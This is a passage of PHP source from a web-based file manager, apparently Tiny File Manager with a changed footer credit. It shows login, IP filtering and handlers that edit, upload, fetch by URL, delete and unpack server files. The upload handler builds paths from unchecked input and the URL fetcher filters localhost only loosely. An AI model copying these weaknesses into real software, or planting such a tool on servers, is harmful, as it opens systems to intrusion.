$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Show directory size: true or speedup output: false
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('');
    session_name(FM_SESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    fm_redirect(FM_SELF_URL);
}

// Validate connection IP
if($ip_ruleset != 'OFF'){
    $clientIp = $_SERVER['REMOTE_ADDR'];

    $proceed = false;

    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true && $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }

        exit();
    }
}

// Auth
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
        // Logging In
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL . '?p=');
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="form-group">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="form-group">
                                        <label for="fm_usr"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="form-group">
                                        <label for="fm_pwd"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="form-group">
                                        <?php fm_show_message(); ?>
                                    </div>

                                    <div class="form-group">
                                        <button type="submit" class="btn btn-success btn-block mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {

    // save
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    //search : get list of files from the current folder
    if(isset($_POST['type']) && $_POST['type']=="search") {
        $dir = FM_ROOT_PATH;
        $response = scan(fm_clean_path($_POST['path']), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = $_POST['file'];
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['calc_folder'] != $caf) {
            $cfg->data['calc_folder'] = $caf;
            $calc_folder = $caf;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        //prevent 127.* domain and known ports
        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(basename($url), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, get_file_path());
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }

    exit();
}

// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' && $del != '..' && $del != '.') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
    $type = $_GET['type'];
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) );
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($_GET['type'] == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
    // old name
    $old = $_GET['ren'];
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = $_GET['to'];
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Download
if (isset($_GET['dl'])) {
    $dl = $_GET['dl'];
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' && is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    $override_file_name = false;
    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($_REQUEST['fullpath'])) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $_REQUEST['fullpath'];
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if(file_exists ($fullPath) && !$override_file_name) {
            $ext_1 = $ext ? '.'.$ext : '';
            $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
        }

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if ( file_exists($fullPath) ) {
                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array (
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';


    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fm_enc($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
    $unzip = $_GET['unzip'];
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }


    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_GET['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }

    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
